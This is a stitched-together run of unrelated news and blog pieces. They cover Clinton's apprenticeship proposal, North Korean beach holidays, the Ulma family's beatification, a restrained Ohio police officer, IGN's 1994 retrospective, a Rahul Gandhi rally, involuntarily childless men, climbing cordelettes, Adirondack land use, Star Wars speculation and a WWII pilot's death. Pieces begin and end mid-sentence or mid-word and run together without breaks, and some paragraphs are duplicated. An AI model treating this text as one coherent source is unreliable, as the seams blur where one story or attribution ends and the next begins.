I’m also asking more businesses to follow the lead of companies like CVS and UPS, and offer more educational benefits and paid apprenticeships – opportunities that give workers the chance to earn higher-paying jobs even if they don’t have a higher education.
Clinton is taking it a step further by offering businesses an incentive to do so: a $1,500 tax credit per apprentice who is under 25 years old and $1,000 tax credit for those 25 and older.
A similar apprenticeship program has previously been introduced in the US Senate by South Carolina’s Republican senator, Tim Scott, and New Jersey’s Democrat senator, Cory Booker. The proposed legislation, known as the Leveraging and Energizing America’s Apprenticeship Programs (LEAP) Act, was estimated to help fill the 4m job vacancies across the US. It has yet to pass into through senate and become a law.
When the bill was introduced in April 2014, Scott said it was modeled after South Carolina’s state apprenticeship initiative.
“Because of our balanced approach, we have seen international companies like Boeing and BMW, as well as many smaller businesses across the state, begin to use the program and provide new employment opportunities for individuals,” he said at that time.
Hillary Clinton's unpaid intern limbo: a grassroots campaign of 'free help' Read more
This could be one of the reasons why Clinton has chosen Trident Technical College, a two-year community college in Charleston-area in South Carolina, to announce this particular proposal.
Apprenticeships and youth employment are also a field where Clinton could lead by example. In April, the Daily Beast reported that the Clinton Foundation did not pay its interns while letting them gain experience. Similarly, a number of positions within Clinton’s Hillary for America campaign are unpaid summer fellowships that are being filled with former campaign staffers.
In her speech, Clinton is expected to talk about how an apprenticeship grant for law students helped her get her first job out of college, according to CNN. After she graduated from Yale Law school in 1973, Clinton worked at the Children’s’ Defense Fund where she “knocked on doors to research and help prepare CDF’s first landmark report, Children Out of School in America”.
Reuters contributed to this report.North Korea made a strong push to promote domestic vacations to its citizens in August, advertising beach holiday opportunities in the domestic press and on national television.
Together, the increased coverage and direct advertising of domestic vacationing opportunities suggests that increasing numbers of North Koreans are now aware of the concept of domestic tourism and national beach vacation spots.
Previously, the concept of beach vacationing was restricted to North Korea’s elite, foreign tourists, or those coming from the towns closest to the resorts.
BEACH ADVERTISING
An August 16 edition of Rodong Sinmun featured advertising for domestic beach holidays aimed at what appear to be average North Korean citizens.
Although prices were not listed, the advert – created by the Pyongyang City People’s Committee – invited North Koreans to apply for tickets to the Ryong Su Po beach area for holidays of up to three days.
The advertisement said that work units and individual families were eligible to apply, publicizing features of the holiday that included tent hire for up to 15 people, parasols for the beach, and paddle boats for entertainment.
Advertising is not common in the North Korean press, so the inclusion of August’s advertisement to visit the beach was particularly noteworthy.
But isn’t was just in newspapers that North Korea has been pushing its beaches this summer.
BEACH PROGRAMMING
Domestic TV reports from August 13 showed thousands of North Koreans on holiday in the Majon Beach area – near Hamhung -swimming in the ocean and enjoying games of beach volleyball. That report followed consecutive mentions of the same beach resort on national TV in May, June and July.
Chu Kyong-hwa of the Majon Amusement Park Management Station was shown in Korea Central TV’s August report explaining that the Majon beach resort receives 30,000 daily visitors from around the country, up to 70,000 during holiday periods.
Although these numbers are unlikely to be accurate, the message of the TV broadcast was clear – that the nation’s beach resorts were open and being enjoyed by a wide variety North Koreans.
Taken together the TV coverage and advertising in the Rodong Sinmun suggests that in 2013, more North Koreans might have access to summer beach holidays than had been previously thought.
BEACH PRIVILEGE
Beach resort vacations are not thought to be common in North Korea, with defector testimony suggesting that only privileged families have traditionally been capable of making the most of the sea.
“I know that there are some really fortunate people in North Korea who have enough time and money go to nearby beaches or valleys with friends or family,” Jae Young-Kim, a North Korean refugee told NK News last year.
“But, it is not common situation and most people just go to the closest valley or mountain when they have free time, quietly enjoying the environment or spending time by going fishing,” she added.
Even getting time off to enjoy a beach can be difficult, with one refugee explaining to NK News that the little vacation time on offer can often be politically focused.
For example the “Anti-U.S. Joint Struggle Month”, which goes from June 25 to July 27, involves a large number of events, consisting of political rallies and lectures, rather than giving time for North Koreans the chance to get away.
“My family was forced to watch various propaganda movies such as ‘Unsung Heroes’ as well as the exhibitions during this period”, one North Korean defector called Choi told NK News, explaining how he was only given time off work to take part in the anti-U.S. events.
“The main idea the North Korean government is trying to infuse on us is the fact that the U.S. used |
ózef himself, an elegant man with a moustache. In one photograph his wife is sitting on his lap and we see that there is a deep emotional bond between them.
Józef married Wiktoria in 1935. Wiktoria Niemczak (b. 1912) also came from Markowa. She was very talented, acted in an amateur theater and attended courses at the Folk University in Gacia. During their 9 years of marriage, the couple had six children: Stanisława (b. 1936), Barbara (b. 1937), Władysław (b. 1938), Franciszek (b. 1940), Antoni (b. 1941), and Maria (b. 1942). Their seventh child was to have been born in the spring of 1944. In 1939, as the family grew bigger, the Ulmas bought 5 hectares of land in Wojsławice near Sokal. They were planning to move there, but the outbreak of World War II thwarted these plans.
Read more: My friends Joe and Vicki protected Jews from the Nazis
Samaritans
Apart from the photographs, the Ulmas left books which are testament to their interests, e.g., on the use of wind in crop cultivation, on the Aborigines in Australia, a handbook of photography, and a geographical atlas. There was also a Bible lying on the shelf. Someone (Józef or Wiktoria) underlined a few verses with a red pencil: “You must love the Lord your God with all your heart, with all your soul, with all your strength, and with all your mind, and your neighbor as yourself” (Lk 10: 27-28) and: “A Samaritan traveler who came upon him was moved with compassion when he saw him: He went up to him and bandaged his wounds, pouring oil and wine on them. He then lifted him onto his own mount and took him to an inn and looked after him” (Lk 10: 33-34).
The Ulmas were deeply religious and were active members of their parish. Władysław Ulma would later reminisce that his brother Józef often said that “It is oftentimes more difficult to live a day in a dignified way than to write a book.” We do not know, however, if the Ulmas decided to help the Jews precisely because of the commandment of love. They must have known many Jews as there were around 30 Jewish families in Markowa, at that time one of the largest villages in Poland. Most of the local Jews were exterminated. Only those who managed to hide in the homes of local farmers managed to survive.
It was probably in the latter half of 1942 that eight Jews found safe haven in the Ulma family house. These were the Szall family from the town of Łańcut (a cattle dealer and his four sons) as well as Golda Grünfeld and Layka Didner with her daughter. Perhaps the Ulmas were happy to gain a few pairs of farm hands (the Szalls helped them to tan animal hides). They were definitely not after money, as later on valuables were discovered on the body of one of the Jewish women.
There is no way of knowing how the hideout was discovered, but it is thought that they were betrayed by the policeman, Włodzimierz Leś. He had helped the Szalls earlier in nearby Łańcut. When the situation grew dangerous, the Jews hid in the Ulmas’ house, having left a sizable part of their property with Leś. The policeman would not return it to them, so the Jews tried to seize one of his estates instead.
Most likely Leś, shortly before turning in the Szalls, visted the Ulmas on the pretext of taking photographs for some documents. He himself died soon afterwards, shot dead by the underground army.
Beatification process
In 1995 Józef and Wiktoria were posthumously awarded the Righteous Among the Nations Medal. In 2003, they were included in the group of 122 Polish martyrs of World War II whose beatification process was started. The diocesan stage of the process concluded in May 2011 in the Diocese of Pelplin.
In March 2017, the Congregation for the Causes of Saints of the Holy See decided to honor the request of Archbishop Adam Szal of Przemyśl and excluded the Ulma family from the collective process, which means that the further steps of the process will be carried out independently. We will soon learn the name of the postulator, who will represent the Archdiocese of Przemyśl in the Roman dicastery. He will be entrusted with the preparation of a positio, or a file containing documents and testimonies confirming that the Ulmas died the death of martyrs.
At the diocesan stage of the process a decision was made to add the Ulmas’ six children, because of their parents’ faith. There is dilemma concerning the child who died in mother’s womb. Provisions applying to canonizations and beatifications clearly stipulate that a candidate to be declared saint or blessed in the Catholic Church should be known by first and second name. The Vatican congregation will ultimately decide whether the youngest member of Józef and Wiktoria’s family will be considered a martyr, too. A case of raising an entire family to the altars is unprecedented in the Church.
This article was first published in the Polish edition of Aleteia.But on Thursday, Kidder refused to use deadly force to take down suspect Michael Wilcox, who he had pursued across state lines to Kentucky, where he was suspected of killing his best friend. Wilcox has also been charged with the murder of his 25-year-old girlfriend.
With just one year of policing experience under his belt, Kidder, a Marine and Iraq war veteran, could technically be classified as a rookie — the same tag used by police departments and media to describe several inexperienced officers involved in the shooting deaths of unarmed black men, including a 26-year-old Cleveland officer who last year fatally shot 12-year-old Tamir Rice as the boy carried a toy gun at a playground.
Jesse Kidder, an officer in New Richmond, Ohio, has been hailed for his restraint after bodycam footage emerged showing the 27-year-old holding his fire, even as a double homicide suspect lunged toward him and threatens to shoot the officer.
In a video that has emerged of an incident that took place in Ohio last week, a rookie cop shows that the use of lethal force can be the last resort for police in a threatening situation.
Read more
VICE News is closely watching policing in America. Check out the Officer Involved blog here.
In a video that has emerged of an incident that took place in Ohio last week, a rookie cop shows that the use of lethal force can be the last resort for police in a threatening situation.
Jesse Kidder, an officer in New Richmond, Ohio, has been hailed for his restraint after bodycam footage emerged showing the 27-year-old holding his fire, even as a double homicide suspect lunged toward him and threatens to shoot the officer.
With just one year of policing experience under his belt, Kidder, a Marine and Iraq war veteran, could technically be classified as a rookie — the same tag used by police departments and media to describe several inexperienced officers involved in the shooting deaths of unarmed black men, including a 26-year-old Cleveland officer who last year fatally shot 12-year-old Tamir Rice as the boy carried a toy gun at a playground.
But on Thursday, Kidder refused to use deadly force to take down suspect Michael Wilcox, who he had pursued across state lines to Kentucky, where he was suspected of killing his best friend. Wilcox has also been charged with the murder of his 25-year-old girlfriend.
In the video, taken on an officer mounted camera that Kidder says a relative had given him in the wake of the August police shooting of Michael Brown in Ferguson, Missouri, Kidder is seen backing away from Wilcox with his service weapon drawn. Wilcox continues to advance toward him, saying, "shoot me!" repeatedly, and then at one point "shoot me, or I'll shoot you!" Kidder said he was watching Wilcox's hands to see if he was reaching for a gun.
Kidder continues to back away, saying "I don't want to shoot you," and "I'm not gonna do it." At one point, the officer trips and falls backward after Wilcox lunges at him.
"He got towards my face right as I lost balance," Kidder told Cincinnati's WLWT-TV. "I'm thinking, at this point, that if he goes into attack me, that I'll have to use deadly force to defend myself."
But the officer never had to fire his weapon, as backup arrived shortly after Kidder fell. Wilcox then surrendered to the officers.
"Law enforcement officers all across the nation have to deal with split-second decisions that mean life or death," Kidder said. "I wanted to be absolutely sure before I used deadly force."
The department has praised the officer's self-control in the face of a life-threatening situation. Earlier, dispatchers had reportedly told Kidder that the suspect may "threaten suicide by cop."
"For him to make the judgment call that he did shows great restraint and maturity," New Richmond Police Chief Randy Harvey said. "This video footage, it eliminated all doubt that this officer would have been justified if in fact it came to a shooting."
Wilcox was taken to Brown County Jail and was being held on $2 million bond, according to the Associated Press.Share. From System Shock to SimCity 2000. From System Shock to SimCity 2000.
Welcome back to IGN's History of Awesome - a year-long look back at all the coolest and most influential games, movies, TV shows, comic books, toys, and tech that have shaped pop culture, and shaped the lives of an entire generation. Up this week is 1994 - the year of Final Fantasy VI, Super Metroid, Warcraft, and Donkey Kong Country.
Catch up on IGN's History of Awesome:
On the movie side, it was also the year of movies like Pulp Fiction and Clerks. TV also had a huge year in 1994, with shows like Friends and ER making their debut.
1994 by the Numbers
1. Forrest Gump $329,694,499 2. The Lion King $312,855,561 3. True Lies $146,282,411 4. The Santa Clause $144,833,357 5. The Flintstones $130,531,208 6. Dumb and Dumber $127,175,374 7. Clear and Present Danger $122,187,717 8. Speed $121,248,145 9. The Mask $119,938,730 10. Pulp Fiction $107,928,762
Source: Box Office Mojo
1. "The Sign" Ace of Base 2. "I Swear" All-4-One 3. "I'll Make Love To You" Boyz II Men 4. "The Power of Love" Celine Dion 5. "Hero" Mariah Carey 6. "Stay (I Missed You)" Lisa Loeb and Nine Stories 7. "Breathe Again" Toni Braxton 8. "All For Love" Bryan Adams, Rod Stewart and Sting 9. "All That She Wants" Ace of Base 10. "Don't Turn Around" Ace of Base
Source: Billboard
1. Friends 2. ER 3. My So-Called Life 4. Party of Five 5. Babylon 5 6. Touched by an Angel 7. The Vicar of Dibley 8. The Secret World of Alex Mack 9. Spider-Man 10. Sister, Sister
Source: IMDB
1. One for the Money by Janet Evanovich 2. The Wind-Up Bird Chronicle by Haruki Murakami 3. Midnight in the Garden of Good and Evil by John Berendt 4. Wizard's First Rule by Terry Goodkind 5. Walk Two Moons by Sharon Creech 6. Snow Falling on Cedars by David Gutterson 7. The Alienist by Caleb Carr 8. Insomnia by Stephen King 9. The Chamber by John Grisham 10. Long Walk to Freedom by Nelson Mandela
Source: Goodreads
Females Males 1. Jessica 1. Michael 2. Ashley 2. Christopher 3. Emily 3. Matthew 4. Samantha 4. Joshua 5. Sarah 5. Tyler
Source: Social Security Administration
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History of Awesome is IGN's 38-part trip down memory lane - each week we're covering a new year's most important, influential, or just-plain-awesome movies, games, TV shows, comics, and more. 1994 was epic, but things are only going to get more awesome from here. Be sure to check back next week for an in-depth look at 1995, the year of the PlayStation, Sega Saturn, and the very first E3.Congress vice president Rahul Gandhi again turned to Bollywood to counter Prime Minister Narendra Modi, whom he accused of resorting to hate politics out of fear of losing the Uttar Pradesh assembly elections.
Gandhi had called Modi’s 2.5-year tenure a retrograde journey from Dilwale Dulhania Le Jayenge, the 1995 Shah Rukh Khan hit, to Gabbar Singh’s Sholay at his poll rallies.
“I have only one thing to say, tu na Hindu banega na Musalman banega, insaan ki aulaad hai insaan banega,” he said on Thursday, at a party rally in his Lok Sabha constituency.
The lyrics — eulogizing communal harmony — are from a song from yesteryear movie Dhool ka Phool.
The reference was made as the Congress and Samajwadi Party (SP) alliance accused the BJP leader of playing the Hindutva card to polarize voters in the sensitive state.
Gandhi taunted Modi that his anxiety increased after the Congress and the ruling Samajwadi Party (SP) formed a coalition to contest the seven-phase UP assembly polls together.
“He was happy till the formation of the Congress-SP alliance. His mood changed thereafter and so has his expression. He is resorting to spreading hatred,” he said at the Ramlila grounds in Amethi, which votes in the fifth phase on February 27.
The alliance is up for a friendly fight in the Amethi assembly constituency with the SP’s rape-accused minister Gayatri Prasad Prajapati contesting against the Congress’s Rani Amita Singh.
SP patriarch Mulayam Singh Yadav, who was unhappy with the tie-up, was scheduled to campaign for his close aide, Prajapati, when the Congress vice president was touring the region. But the SP founder saved the alliance an embarrassment by cancelling his visit on Wednesday.
Gandhi reciprocated the gesture by not uttering a word against Prajapati or any other SP candidate fielded against his party’s nominees. The two parties are up against each other in four of 10 assembly seats within the Rae Bareli and Amethi parliamentary segments, which Congress president Sonia Gandhi and her son, the vice president, represent in the Lok Sabha.
Instead, the Congress leader used the occasion to target Prime Minister Modi.
He took a jibe at Modi’s frequent reference to Sardar Patel at rallies. Gandhi said the BJP is bankrupt of leaders of the stature of Mahatma Gandhi, Sardar Patel, Subhas Chandra Bose and Bhimrao Ambedkar.
“I also know that your leaders had bowed their heads and tendered an apology to the British. Now, you need leaders like Patel. You can make use of them, if you want to. But do not divide them. You want to associate Patel with the RSS. You will never be able to do so,” he said.
Gandhi accused the Prime Minister of cancelling projects that he had initiated for the development Amethi and Rae Bareli. Moves to cancel a mega food park, Hindustan Paper Mills and shift a proposed Indian Institute of Information Technology (IIIT) out of Amethi have hurt the people, he said.
Congress president Sonia Gandhi too had made a similar accusation against Modi of blocking funds for welfare schemes in Rae Bareli and Amethi, the Nehru-Gandhi bastions. She said as much in an open and emotional letter to voters of these constituencies on Wednesday.
Her son stressed the need to promote local brands and promised a Congress-SP alliance government in UP will encourage the youth to set up manufacturing units.
“Modiji’s jacket has a made-in-China tag. When he goes to the US next time, the tag on his jacket will be made in UP,” he said.
Gandhi was on a whirlwind tour of Amethi, where he sought votes for Rani Amita Singh, wife of Congress Rajya Sabha member Sanjay Singh.
Singh’s estranged wife Rani Garima Singh is contesting on a BJP ticket.
First Published: Feb 24, 2017 00:37 ISTRobin Hadley became an angry and discontented person in his early 30s, for reasons he couldn’t then understand.
He was doing well at work and had friends, but there was a feeling that his life was incomplete. ‘Then my best friend told me his wife was pregnant,’ he says, ‘and I felt incredibly jealous.
‘You don’t think of men getting broody, but that’s exactly what was happening to me. I was watching my friends start their own families and thinking: why should they have everything I’ve always wanted?’
Robin is now 57, happily married but still childless, and one of Britain’s only professional experts on male involuntary childlessness — where men are childless not through choice but circumstance.
Sheridan Voysey (pictured), 45, was diagnosed as infertile. He spoke out alongside other men about the longing for a baby
It’s a subject we rarely broach. Although we often hear about the 20 per cent of women over 43 who are childless, the voices of men in the same position are rarely, if ever, heard.
‘It’s never spoken about, written about, studied,’ says Robin. ‘Men like me, who want to be dads but aren’t, are invisible. People don’t always realise that the pain of not having a child can affect men, too.’
Part of the issue is men do not like talking about it — many fear being judged as ‘weak’, or ‘feminine’, especially by other men.
‘Although men don’t have a biological clock in the same way women do,’ says Robin, ‘they have what I’d call a “social clock”.
‘Famous men who have children very late — Rod Stewart or Ronnie Wood or Billy Joel — really don’t represent the majority: male fertility declines sharply with age and ordinary people don’t have the financial resources a pop star has to go towards childcare at that stage in life’.
But surely men, unlike most women, can easily have a child in their 50s? ‘Many men see their early 50s as the cut off point,’ says Robin. ‘They feel uncomfortable with the idea of being an “old” father.’
Recent advances in fertility treatment have allowed single women whose fertility window is closing to go it alone using donor sperm — a relatively cheap, widely available and increasingly socially acceptable process. Single men, however, do not have that choice.
Robin Hadley (pictured with his wife Maryan) became childless as a result of his wife's inability to have children
Robin says he became childless-not-by-choice when, at 37, he fell in love with a woman who couldn’t have children — his now wife. Robin made a difficult decision: ‘If you love someone enough to marry them…you can’t just switch that emotion off, go away and hope you find someone more suitable.’
Letting go of an imagined family often requires a process of grieving, yet articulating those feelings are difficult for many men.
‘Ask a man to talk to you about not having children and usually he’ll draw a blank. It’s like there’s a huge inferno of feelings pushed down inside of us and sealed with a concrete slab.’
Incredibly, the Office for National Statistics doesn’t collect statistics on how many men are childless —when a birth is registered, only the mother’s fertility history is recorded. The only rough estimate we have suggests that 25 per cent of men over 43 are childless.
Fatherhood can be the definition of your whole identity and you’re thinking, There’s a feeling that it inherently proves you as a real man and so if you’re infertile you must be weak or dysfunctional- Sheridan Voysey
One such man is Andrew Currie, 62. He says he drifted into being childless: ‘My last serious relationship was 17 years ago and, I know it sounds strange, but she and I never discussed being parents. I never thought ahead to where I am now, in my 60s, without children. I wish I’d asked myself when I was younger, “What do you want?” I wish I had said to myself: “Be selfish. If you want children, do it.” ’
Like most men in his position, Currie finds other people’s perceptions of childless men painful. ‘We are seen as suspicious, not to be trusted,’ he says. ‘I understand that’s just the way it is, but it’s a horrible feeling.’
The received wisdom, of course, is that men can pick and choose if and when they want children. But a new study among couples undergoing IVF treatment confirmed that men, just like women, risk leaving fatherhood too late, with a fall-off in fertility in some men over the age of 40.
Sheridan Voysey, 45, a broadcaster and writer, and his wife, Merryn, began trying for children shortly after they married two decades ago. The couple spent huge sums of money on alternative fertility ‘cures’ before Sheridan was diagnosed as infertile.
Sheridan (pictured right with his wife Merryn) believes fertility treatment can be the making of you as trying makes relationship bonds stronger
He describes involuntary childlessness as ‘a grief without a death’, adding: ‘The little “us” you’ve dreamed of is never going to exist.’ Men need more support than they’re currently getting in dealing with childlessness, he says, while also stressing the importance of both grieving and acceptance.
‘If you don’t draw a line under it, the burden of hope can be the unravelling of you,’ he says. ‘Fatherhood can be the definition of your whole identity and you’re thinking, “I am the guy who can’t father a child.” There’s a feeling that it inherently proves you as a real man and so if you’re infertile you must be weak or dysfunctional.’
Part of the problem is that men feel pushed away by friends who have children, he says. ‘I’m a great believer that childless men become great uncles, mentors. We’re a caring bunch. There is a place for us.’
There are dozens of reasons why, despite his best wishes, a man might end up childless.
‘You might not feel financially ready,’ says Robin Hadley. ‘Or perhaps you’re shy and have difficulty making relationships. There’s your choice of partner, and the timing of it. Then there are older gay men; laws regarding marriage and adoption for gay men only changed very recently, so it’s too late for many of them.’
National Statistics estimate around 25 per cent of men over 43 are childless (file image)
Alan Nichols is 53 and divorced. He married when he was 34. Not long after, his wife suffered an ectopic pregnancy and almost died, and when doctors later confirmed she would be unable to have children, ‘she became very insecure that I’d leave her’.
‘But I married her because I wanted to spend my life with her,’ he says. The couple eventually divorced when Alan’s wife had an affair. Single again in his mid 40s, Alan found that the eligible women he met ‘mostly already had kids’. ‘The last thing they want to do is have another baby,’ he says.
Now, as a childless man in his 50s, he finds dating in general a puzzling experience. ‘Women can be very suspicious of men without children,’ he says. ‘I’ve been on dates and it’s literally, “What’s wrong with you, why don’t you have kids?” I find it very insensitive and stupid.’ At 53, he now feels he’s left it too late.
It’s striking, however, how radically many of the men I talked to changed their lives once they had accepted the reality of their situation. Robin changed careers to become an academic, and Alan ‘is excited about the future’.
After a period of grieving, Sheridan now goes as far as saying: ‘Infertility can be the making of you.’ Though failed fertility treatment can put a fatal strain on relationships, ‘if you survive it together, your bond can be even stronger’.
‘I still regret not being a dad,’ says Robin, but he’s no longer ashamed of it. ‘I think men like me want to be heard. We’re saying: “I’m missing out and I think I have something to give.” ’Cordelette for Climbing
January 2013
Climb Gear
Hi Steph,
I’ve been looking to upgrade my cordalette to something a little lighter (always been instructed to use 7mm cord but have always hated the weight and bulk) and am quite confused. Some say a straight up 5mm cord is fine, other say if you want to go that thin it should be the 5.5mm titan dyneema cord, other say just moving to a long spectra or dyneema sling would be best. I’d love to get your opinion/hear what you use.
Thanks!
Max
Hi Max,
Great question! Generally, I don’t use cordelettes, because I don’t like to carry the extra weight. I will use them if I am doing rigging work, and occasionally for big wall use where going light isn’t as big of a deal and it’s worth the trade off in weight for a simple, accessible anchor point. On long routes, I usually keep a light daisy chain girthed to my harness. I use this daisy chain as a preliminary clip in-point while I set up my anchor, which I do with 2 ultralight locking carabiners and a bunny-ears knot made of the climbing rope that I am directly tied into. I know you are probably going, “a WHAT knot?” I will do a post on that knot before too long, I promise.
To answer your question, I checked in with Dave Furman, the hardgoods manager at Mammut and my gear-expert friend. He wrote some great guest posts here already about differences between ropes, and he knows a lot about specs and the more technical capabilities of cordage. Here’s what Dave has to say about cordelettes and rope diameters:
Hey Steph—
People should remember that KN are a measure of force, which is determined not only by the mass of the object lobbing off a cliff, but by the acceleration of the object—in this case a climber. It is very easy for an average-sized climber to generate a lot of force during a fall, especially in circumstances that can cause the belay anchor to be loaded—because we only have one belay anchor in question, no matter the material we should strive to use anchors that are redundant (i.e. if one element fails there is always a backup—this includes the anchoring material), and to protect the anchor by placing protection and by building dynamic elements into the anchor (such as tying into the anchor with your climbing rope rather than clipping directly to a sling or cordellette). These practices are just part of building good anchors and should be a given no matter what the anchor material is.
No anchor-building material is perfect, all of them having tradeoffs between strength, weight, bulk, durability, dynamic properties and versatility. Mammut’s 5 mm accessory cord has a breaking strength of 5.5kn (about 1200lb), 6mm is 7.5kn (about 1700lb) and 7mm 13kn (about 2900lb). Note that the 7mm cord is over 40% stronger than the 6mm, and almost 60% stronger than 5mm. A permanent loop sling such as our 8mm Contact in the “cordellette” length of 240cm is low in weight and bulk, quite strong (22kn, or about 5000lb) but it cant easily be un-knotted for other uses and being much less stretchy than nylon it is important to always use the dynamic climbing rope to tie-in to a belay constructed from this material in order to have some “give” in the anchor. In addition, since any knot will weaken a material, these slings don’t necessarily need to be weakened with a knot in order to build an anchor. Tech cords are pretty low in bulk and can be pretty strong, but many of them have been shown to suffer decreased strength from repeated bending—essentially the knot always in the same place can cause them to fatigue much like a metal does when bent back and forth repeatedly at the same point, so they have a limited lifespan, as well as being essentially static like the Mammut Contact slings. Nylon cord is not as strong—the 5mm size which is most comparable in weight and bulk to a Contact sling or tech cord is far weaker than those alternatives—but it does not fatigue, it is durable, it stretches and provides a dynamic element built right into your belay, and it knots easily and can be used to back up a rappel anchor or make a prussic or other tool in a self-rescue or emergency situation. Climbers should be aware of all of the strengths and weaknesses of all of these materials when choosing between them, and construct their anchors accordingly. Although some climbers may use cord thinner than 7mm for constructing belay anchors, it is important to note just how much stronger the slings and 7mm cord are in comparison, especially when you consider that these are often weakened by knotting them and by concentrated wear at the knots. We definitely do not advise people to use 5 and 6mm cord for anchor construction, and if climbers choose to do so they should be acutely aware that they are putting themselves at extra risk by doing so and take any necessary precautions (frequent wear-checks, being extra conservative in deciding what is worn and discarding it, always placing protection specifically to protect the belay from high impact, using a dynamic belay device and techniques, terrain and belay location choices, etc). A calculated risk may be acceptable to some people if it is truly calculated, but done out of ignorance or by guesswork it is asking for trouble. Because most people aren’t willing or able to objectively test these out for themselves to see what their true level of safety (or lack thereof) is, if a nylon cord is used I’d strongly recommend using 7mm for anchor construction, and if the weight and bulk is a significant problem using a Contact sling with a 22kn breaking strength, remembering to tie into the anchor with the rope.
Dave Furman
Hardgoods Category Manager
Mammut Sports Group, USA and CanadaImagine going to visit Yellowstone National Park and having to hike seven miles to see Old Faithful. Roger Dziengeleski posed this hypothetical to me during our recent conversation because this is the type of Fortress Conservation that the Adirondack Park Agency is being asked to consider when it comes to the Boreas Property. The Boreas Property was privately owned for over 100 years until 2007 when New York State purchased the property using $14.5 million taxpayer dollars. Conservation groups are now asking that the land be classified as wilderness, severely limiting the state’s citizen’s and visitor’s ability to enjoy not only the natural beauty of the property but also their ability to partake in recreational activities and the economic benefits generated by such activities.
Roger, formerly the natural resource manager of the Boreas Property for thirty-four years has been working the group Access the Adirondacks to have the land classified as half wild forest and half wilderness. The wild forest classification is actually much more fitting for the property when one looks at the actual definitions for wilderness versus wild forest. For land to be classified as wilderness it cannot have the imprint of man. Under private management the Boreas Property saw the building of 2 dams, numerous amounts of logging activity, and construction of a 53-mile road network. Private owners also allowed full motorized vehicle access across all trails. Access the Adirondacks is calling for a much more limited use of the property now that it is under state ownership. They would like to see designated trails for snowmobiling, hiking, and horseback riding. Logging activities would also be discontinued.
Allowing for a larger breadth of activities and making access to the land and its ponds easier means that more people will be able to enjoy this newly added land. While some might call the cost of land stewardship into concern, as naturally the more people utilizing the resource means that more maintenance will be necessary, this need not be an issue. The only people who would utilize this land but not contribute to the cost of its upkeep are those who strictly hike it. If you are snowmobiling, fishing, or hunting then you are required to buy a license. Fees from those licenses are put towards land maintenance and conservation efforts.
This belief in multiple use conservation is what Access the Adirondacks has been advocating for through public hearings, their website and their Facebook page. By investing in a solid infrastructure, Roger and the group believe that everyone can enjoy the beauty of the Boreas Property. So far turn outs at the public hearings have been strong, particularly in Schroon Lake, Canton, and Northville.
There are a substantial number of communities that stand to benefit, especially from the off-season tourism potential. New York State has been acquiring land in the Adirondack Park since the 1970’s; however, the cap on the amount of snowmobile trail miles put in place in 1970’s has remained the same. This has left some towns out in the cold in terms of revenues to be had from these winter warriors, specifically Newcomb, Minerva, Long Lake and Indian Lake.
Opening up the Boreas trail system to snowmobiles might help give these town’s economies a leg up during those long winter months. In addition to the winter, the fall and early spring are other seasons that could benefit with increased tourism to Boreas for hunting and fishing trips. As someone who has watched a town shut down for nine months out of the year, I do not think it is fair to limit the usage of land that has already seen so much human intervention. The argument in the case of the Boreas property is not over the forest itself but rather the use of the trails. Neither side wants to see the forest harmed and allowing the public to see how truly amazing nature and the Adirondacks can be is honoring the original intent behind the park’s creation. Roger summed it up best; “The park belongs to everyone and everyone ought to be able to see at least part of it.”
If you would like to support Access the Adirondacks in their cause please check out their website or Facebook page.
Additionally, to send your support for the Boreas property to have a classification of half wild forest and half wilderness, please use this link to send your message to the Governor and the Adirondack Park Agency.At the end of The Force Awakens we were all ready for Luke to be Rey’s master and train her. However it seems like what we expected isn’t what we are going to get. Let’s a look at what we know, and make some connections…
With a recent toy leak on Hasbro’s website, we now have confirmation that Rey is a Jedi in training. The page has been taken down, but google cache still has it with the package image here:
Rian Johnson has stated that the training of Rey isn’t a perfect parallel to Empire Strikes Back. He stated that:
“There’s a training element to it, but it’s not exactly what you would expect.”
So what exactly does this mean?
After Rey hands off the saber, at some point there is reason for Rey to want to train to become a Jedi. Her motivations are pretty clear, she wants to defend herself against the inevitable revenge of Kylo Ren and find the thing Maz said she was looking for.
At this point, I expect that Luke seems to be reluctant to train Rey, as Yoda was reluctant to train Luke; however, this would be “what I would expect” and hence the thing Rian specifically said would not happen. Nevertheless, let’s run with this for a minute.
If anything, it’s Luke’s statement that the Jedi must end that seems like the motivation of why he wouldn’t train Rey. Luke doesn’t want to train Rey because he is through with the Jedi. We’ve speculated why this would be, but in the context of not wanting to train Rey, this doesn’t line up. That is, in that article the thinking was by balancing light and dark, Luke had found a path that was more powerful. However, that doesn’t a priori preclude him from wanting to train Rey. So what’s going on?
I’m actually reminded of The Karate Kid, the 80s version, because I haven’t seen the new one. In The Karate Kid, Daniel asks Mr. Miyagi to train him, and Mr. Miyagi refuses. What were his motivations, and what changed his mind, and what does this have to do with The Last Jedi? Bear with me.
Mr. Miyagi had resigned himself to bonsai trees, and had a nursery where we spent his time trimming the roots of these trees. Let’s see, where else have trees been important? This reminds me of Luke and the Force-trees. We just wrote an article about this recently, and speculated that Luke is spending his time with the tree…
This could be complete coincidence, but let’s keep going with it. Mr. Miyagi then later revealed the following:
Their bond develops, and as their training continues, Daniel learns about Miyagi’s dual loss of his wife and newborn son due to complications arising from childbirth at Manzanar internment camp while he was serving with the 442nd Infantry Regiment during World War II in Europe, where he received the Medal of Honor. (Wikipedia)
So it is revealed that at least part of the reason is because Mr. Miyagi had lost his wife and child. Mr. Miyagi had a bit of a dark past that may have led him to solitude and not wanting to train anyone. Sound familiar?
I’m going out on a limb and speculate that maybe, just maybe, there is something here. Could it be that Rey and Luke’s story follows |
-proofing, emitting a jamming signal, or disabling a device’s speaker and microphone would do the trick but they acknowledge those aren’t very realistic solutions.
The researchers hope that by calling attention to the vulnerability, it will encourage scientists to develop more practical countermeasures.
“We always want to stay one step ahead of the bad guys — of attackers who are trying to collect this information about users,” said co-author Tadayoshi Kohno. “We’re providing education about what is possible and what capabilities the general public might not know about, so that people can be aware and can build defenses against this.”
The UW researchers will present their findings at Ubicomp 2017 in September.WWII fighter pilot who flew THROUGH the Eiffel Tower to take down a German plane dies in Virginia aged 92
William Overstreet Jr., a former captain in the U.S. Air Corps, passed away on Sunday at a hospital in Roanoke
He famously flew his plane beneath the Eiffel Tower in Nazi-occupied Paris in 1944, lifting the spirits of French troops on the ground
In 2009, he was presented France's Legion of Honor
A World War II fighter pilot who gained fame for dramatically flying beneath the Eiffel Tower's arches to take down a German aircraft has died aged 92.
William Overstreet Jr. died on Sunday at a hospital in Roanoke, Virginia, according to his obituary, but there was no indication of the cause of his death.
Overstreet's famously flew his P-51C 'Berlin Express' beneath the Eiffel Tower in Nazi-occupied Paris in 1944, which has been credited with lifting the spirits of French Resistance troops on the ground.
